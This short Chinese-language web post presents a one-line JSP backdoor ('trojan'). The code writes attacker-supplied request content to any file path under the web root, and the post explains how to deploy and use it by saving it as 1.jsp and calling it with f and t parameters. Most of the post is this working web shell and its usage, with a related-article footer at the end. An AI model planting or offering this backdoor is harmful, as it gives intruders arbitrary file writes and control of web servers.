JSP一句話木馬代碼
更新時間:2007年03月03日 00:00:00 作者:
復制代碼 代碼如下:
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
這個 后門估計不用我說了吧.還是提示一下咯.保存為1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出來了 內容為 hello .....
您可能感興趣的文章:
相關文章
Hibernate save() saveorupdate()的用法
在Hibernate中,最核心的概念就是對PO的狀態(tài)管理。2008-11-11

